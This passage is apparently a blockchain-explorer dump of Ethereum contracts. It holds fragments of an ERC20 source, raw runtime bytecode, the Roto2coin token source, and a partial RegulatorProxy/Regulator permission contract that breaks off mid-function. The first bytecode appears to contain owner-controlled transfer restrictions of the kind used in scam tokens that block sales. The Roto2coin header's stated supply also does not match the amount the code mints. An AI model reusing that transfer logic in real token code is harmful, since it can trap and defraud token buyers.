burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107c6565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107cf565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108bf945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109d8565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b03166109f3565b6101a5610a5d565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610abe565b6104a6610ad2565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610ae1565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b0c945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c5d565b8484610c61565b50600192915050565b60055490565b600061074c848484610d4d565b6107bc84610758610c5d565b6107b785604051806060016040528060288152602001611411602891396001600160a01b038a16600090815260046020526040812090610796610c5d565b6001600160a01b031681526020810191909152604001600020549190611309565b610c61565b5060019392505050565b60085460ff1690565b600a546001600160a01b0316331461082e576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60055461083b9082610bfc565b600555600a546001600160a01b03166000908152602081905260409020546108639082610bfc565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610907576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109d25761094383828151811061092257fe5b602002602001015183838151811061093657fe5b6020026020010151610abe565b50838110156109ca57600180600085848151811061095d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109ca8382815181106109ab57fe5b6020908102919091010151600c546001600160a01b0316600019610c61565b60010161090a565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a3b576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610acb610c5d565b8484610d4d565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b54576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b7157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bc257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b57565b600082820183811015610c56576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610ca65760405162461bcd60e51b815260040180806020018281038252602481526020018061145e6024913960400191505060405180910390fd5b6001600160a01b038216610ceb5760405162461bcd60e51b81526004018080602001828103825260228152602001806113c96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d805750600a546001600160a01b038481169116145b15610ef857600b80546001600160a01b0319166001600160a01b03848116919091179091558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b038516610e275760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b610e328686866113a0565b610e6f846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e9e9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3611301565b600a546001600160a01b0384811691161480610f215750600b546001600160a01b038481169116145b80610f395750600a546001600160a01b038381169116145b15610fbc57600a546001600160a01b038481169116148015610f6c5750816001600160a01b0316836001600160a01b0316145b15610f775760038190555b6001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415611028576001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff161515600114156110b257600b546001600160a01b03848116911614806110775750600c546001600160a01b038381169116145b610f775760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b60035481101561114657600b546001600160a01b0383811691161415610f77576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061116f5750600c546001600160a01b038381169116145b6111aa5760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b6001600160a01b0386166111ef5760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b0385166112345760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b61123f8686866113a0565b61127c846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b0380881660009081526020819052604080822093909355908716815220546112ab9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113985760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561135d578181015183820152602001611345565b50505050905090810190601f16801561138a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b50dc6303c011fb1ff5dfe486a473b30eab35986d5e207f7888ee524d76b6d8864736f6c634300060c0033
[ 38 ]
0xf363abEEDD0402De170a6F2BceB920dB37F8B8Cb
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'Roto2coin' token contract // // Deployed to : 0xFE221B0f1aCe6f41A4E19A7a8ef6487b6eE3f7ca // Symbol : RTO2 // Name : Roto2coin // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Roto2coin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Roto2coin() public { symbol = "RTO2"; name = "Roto2coin"; decimals = 18; _totalSupply = 288000000000000000000000000000000; balances[0xFE221B0f1aCe6f41A4E19A7a8ef6487b6eE3f7ca] = _totalSupply; Transfer(address(0), 0xFE221B0f1aCe6f41A4E19A7a8ef6487b6eE3f7ca, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610116578063095ea7b3146101a057806318160ddd146101d857806323b872dd146101ff578063313ce567146102295780633eaaf86b1461025457806370a082311461026957806379ba50971461028a5780638da5cb5b146102a157806395d89b41146102d2578063a293d1e8146102e7578063a9059cbb14610302578063b5931f7c14610326578063cae9ca5114610341578063d05c78da146103aa578063d4ee1d90146103c5578063dc39d06d146103da578063dd62ed3e146103fe578063e6cb901314610425578063f2fde38b14610440575b600080fd5b34801561012257600080fd5b5061012b610461565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016557818101518382015260200161014d565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ac57600080fd5b506101c4600160a060020a03600435166024356104ef565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed610556565b60408051918252519081900360200190f35b34801561020b57600080fd5b506101c4600160a060020a0360043581169060243516604435610588565b34801561023557600080fd5b5061023e610681565b6040805160ff9092168252519081900360200190f35b34801561026057600080fd5b506101ed61068a565b34801561027557600080fd5b506101ed600160a060020a0360043516610690565b34801561029657600080fd5b5061029f6106ab565b005b3480156102ad57600080fd5b506102b6610733565b60408051600160a060020a039092168252519081900360200190f35b3480156102de57600080fd5b5061012b610742565b3480156102f357600080fd5b506101ed60043560243561079a565b34801561030e57600080fd5b506101c4600160a060020a03600435166024356107af565b34801561033257600080fd5b506101ed600435602435610853565b34801561034d57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101c4948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108749650505050505050565b3480156103b657600080fd5b506101ed6004356024356109d5565b3480156103d157600080fd5b506102b66109fa565b3480156103e657600080fd5b506101c4600160a060020a0360043516602435610a09565b34801561040a57600080fd5b506101ed600160a060020a0360043581169060243516610ac4565b34801561043157600080fd5b506101ed600435602435610aef565b34801561044c57600080fd5b5061029f600160a060020a0360043516610aff565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104e75780601f106104bc576101008083540402835291602001916104e7565b820191906000526020600020905b8154815290600101906020018083116104ca57829003601f168201915b505050505081565b336000818152600760209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b600160a060020a0383166000908152600660205260408120546105ab908361079a565b600160a060020a03851660009081526006602090815260408083209390935560078152828220338352905220546105e2908361079a565b600160a060020a0380861660009081526007602090815260408083203384528252808320949094559186168152600690915220546106209083610aef565b600160a060020a0380851660008181526006602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b60055481565b600160a060020a031660009081526006602052604090205490565b600154600160a060020a031633146106c257600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104e75780601f106104bc576101008083540402835291602001916104e7565b6000828211156107a957600080fd5b50900390565b336000908152600660205260408120546107c9908361079a565b3360009081526006602052604080822092909255600160a060020a038516815220546107f59083610aef565b600160a060020a0384166000818152600660209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600080821161086157600080fd5b818381151561086c57fe5b049392505050565b336000818152600760209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a36040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b8381101561096457818101518382015260200161094c565b50505050905090810190601f1680156109915780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156109b357600080fd5b505af11580156109c7573d6000803e3d6000fd5b506001979650505050505050565b8181028215806109ef57508183828115156109ec57fe5b04145b151561055057600080fd5b600154600160a060020a031681565b60008054600160a060020a03163314610a2157600080fd5b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810186905290519186169263a9059cbb926044808401936020939083900390910190829087803b158015610a9157600080fd5b505af1158015610aa5573d6000803e3d6000fd5b505050506040513d6020811015610abb57600080fd5b50519392505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b8181018281101561055057600080fd5b600054600160a060020a03163314610b1657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820e0cd4cf01767fbc467ddd12c3317eef99857c9650518539c755863b37f2cfe470029
[ 2 ]
0xf363c6de4a27c202fd8e3216351c242fb4a39d8c
pragma solidity ^0.4.24; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(addr) } return size > 0; } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is * validated in the constructor. */ bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; /** * @dev Contract constructor. * @param _implementation Address of the initial implementation. */ constructor(address _implementation) public { assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation")); _setImplementation(_implementation); } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) private { require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". This adds two-phase * ownership control to OpenZeppelin's Ownable class. In this model, the original owner * designates a new owner but does not actually transfer ownership. The new owner then accepts * ownership and completes the transfer. */ contract Ownable { address public owner; address public pendingOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; pendingOwner = address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); pendingOwner = _newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * * @dev Stores permissions and validators and provides setter and getter methods. * Permissions determine which methods users have access to call. Validators * are able to mutate permissions at the Regulator level. * */ contract RegulatorStorage is Ownable { /** Structs */ /* Contains metadata about a permission to execute a particular method signature. */ struct Permission { string name; // A one-word description for the permission. e.g. "canMint" string description; // A longer description for the permission. e.g. "Allows user to mint tokens." string contract_name; // e.g. "PermissionedToken" bool active; // Permissions can be turned on or off by regulator } /** Constants: stores method signatures. These are potential permissions that a user can have, and each permission gives the user the ability to call the associated PermissionedToken method signature */ bytes4 public constant MINT_SIG = bytes4(keccak256("mint(address,uint256)")); bytes4 public constant MINT_CUSD_SIG = bytes4(keccak256("mintCUSD(address,uint256)")); bytes4 public constant CONVERT_WT_SIG = bytes4(keccak256("convertWT(uint256)")); bytes4 public constant BURN_SIG = bytes4(keccak256("burn(uint256)")); bytes4 public constant CONVERT_CARBON_DOLLAR_SIG = bytes4(keccak256("convertCarbonDollar(address,uint256)")); bytes4 public constant BURN_CARBON_DOLLAR_SIG = bytes4(keccak256("burnCarbonDollar(address,uint256)")); bytes4 public constant DESTROY_BLACKLISTED_TOKENS_SIG = bytes4(keccak256("destroyBlacklistedTokens(address,uint256)")); bytes4 public constant APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG = bytes4(keccak256("approveBlacklistedAddressSpender(address)")); bytes4 public constant BLACKLISTED_SIG = bytes4(keccak256("blacklisted()")); /** Mappings */ /* each method signature maps to a Permission */ mapping (bytes4 => Permission) public permissions; /* list of validators, either active or inactive */ mapping (address => bool) public validators; /* each user can be given access to a given method signature */ mapping (address => mapping (bytes4 => bool)) public userPermissions; /** Events */ event PermissionAdded(bytes4 methodsignature); event PermissionRemoved(bytes4 methodsignature); event ValidatorAdded(address indexed validator); event ValidatorRemoved(address indexed validator); /** Modifiers */ /** * @notice Throws if called by any account that does not have access to set attributes */ modifier onlyValidator() { require (isValidator(msg.sender), "Sender must be validator"); _; } /** * @notice Sets a permission within the list of permissions. * @param _methodsignature Signature of the method that this permission controls. * @param _permissionName A "slug" name for this permission (e.g. "canMint"). * @param _permissionDescription A lengthier description for this permission (e.g. "Allows user to mint tokens"). * @param _contractName Name of the contract that the method belongs to. */ function addPermission( bytes4 _methodsignature, string _permissionName, string _permissionDescription, string _contractName) public onlyValidator { Permission memory p = Permission(_permissionName, _permissionDescription, _contractName, true); permissions[_methodsignature] = p; emit PermissionAdded(_methodsignature); } /** * @notice Removes a permission the list of permissions. * @param _methodsignature Signature of the method that this permission controls. */ function removePermission(bytes4 _methodsignature) public onlyValidator { permissions[_methodsignature].active = false; emit PermissionRemoved(_methodsignature); } /** * @notice Sets a permission in the list of permissions that a user has. * @param _methodsignature Signature of the method that this permission controls. */ function setUserPermission(address _who, bytes4 _methodsignature) public onlyValidator { require(permissions[_methodsignature].active, "Permission being set must be for a valid method signature"); userPermissions[_who][_methodsignature] = true; } /** * @notice Removes a permission from the list of permissions that a user has. * @param _methodsignature Signature of the method that this permission controls. */ function removeUserPermission(address _who, bytes4 _methodsignature) public onlyValidator { require(permissions[_methodsignature].active, "Permission being removed must be for a valid method signature"); userPermissions[_who][_methodsignature] = false; } /** * @notice add a Validator * @param _validator Address of validator to add */ function addValidator(address _validator) public onlyOwner { validators[_validator] = true; emit ValidatorAdded(_validator); } /** * @notice remove a Validator * @param _validator Address of validator to remove */ function removeValidator(address _validator) public onlyOwner { validators[_validator] = false; emit ValidatorRemoved(_validator); } /** * @notice does validator exist? * @return true if yes, false if no **/ function isValidator(address _validator) public view returns (bool) { return validators[_validator]; } /** * @notice does permission exist? * @return true if yes, false if no **/ function isPermission(bytes4 _methodsignature) public view returns (bool) { return permissions[_methodsignature].active; } /** * @notice get Permission structure * @param _methodsignature request to retrieve the Permission struct for this methodsignature * @return Permission **/ function getPermission(bytes4 _methodsignature) public view returns (string name, string description, string contract_name, bool active) { return (permissions[_methodsignature].name, permissions[_methodsignature].description, permissions[_methodsignature].contract_name, permissions[_methodsignature].active); } /** * @notice does permission exist? * @return true if yes, false if no **/ function hasUserPermission(address _who, bytes4 _methodsignature) public view returns (bool) { return userPermissions[_who][_methodsignature]; } } /** * @title RegulatorProxy * @dev A RegulatorProxy is a proxy contract that acts identically to a Regulator from the * user's point of view. A proxy can change its data storage locations and can also * change its implementation contract location. A call to RegulatorProxy delegates the function call * to the latest implementation contract's version of the function and the proxy then * calls that function in the context of the proxy's data storage * */ contract RegulatorProxy is UpgradeabilityProxy, RegulatorStorage { /** * @dev CONSTRUCTOR * @param _implementation the contract who's logic the proxy will initially delegate functionality to **/ constructor(address _implementation) public UpgradeabilityProxy(_implementation) {} /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) public onlyOwner { _upgradeTo(newImplementation); } /** * @return The address of the implementation. */ function implementation() public view returns (address) { return _implementation(); } } /** * @title Regulator * @dev Regulator can be configured to meet relevant securities regulations, KYC policies * AML requirements, tax laws, and more. The Regulator ensures that the PermissionedToken * makes compliant transfers possible. Contains the userPermissions necessary * for regulatory compliance. * */ contract Regulator is RegulatorStorage { /** Modifiers */ /** * @notice Throws if called by any account that does not have access to set attributes */ modifier onlyValidator() { require (isValidator(msg.sender), "Sender must be validator"); _; } /** Events */ event LogWhitelistedUser(address indexed who); event LogBlacklistedUser(address indexed who); event LogNonlistedUser(address indexed who); event LogSetMinter(address indexed who); event LogRemovedMinter(address indexed who); event LogSetBlacklistDestroyer(address indexed who); event LogRemovedBlacklistDestroyer(address indexed who); event LogSetBlacklistSpender(address indexed who); event LogRemovedBlacklistSpender(address indexed who); /** * @notice Sets the necessary permissions for a user to mint tokens. * @param _who The address of the account that we are setting permissions for. */ function setMinter(address _who) public onlyValidator { _setMinter(_who); } /** * @notice Removes the necessary permissions for a user to mint tokens. * @param _who The address of the account that we are removing permissions for. */ function removeMinter(address _who) public onlyValidator { _removeMinter(_who); } /** * @notice Sets the necessary permissions for a user to spend tokens from a blacklisted account. * @param _who The address of the account that we are setting permissions for. */ function setBlacklistSpender(address _who) public onlyValidator { 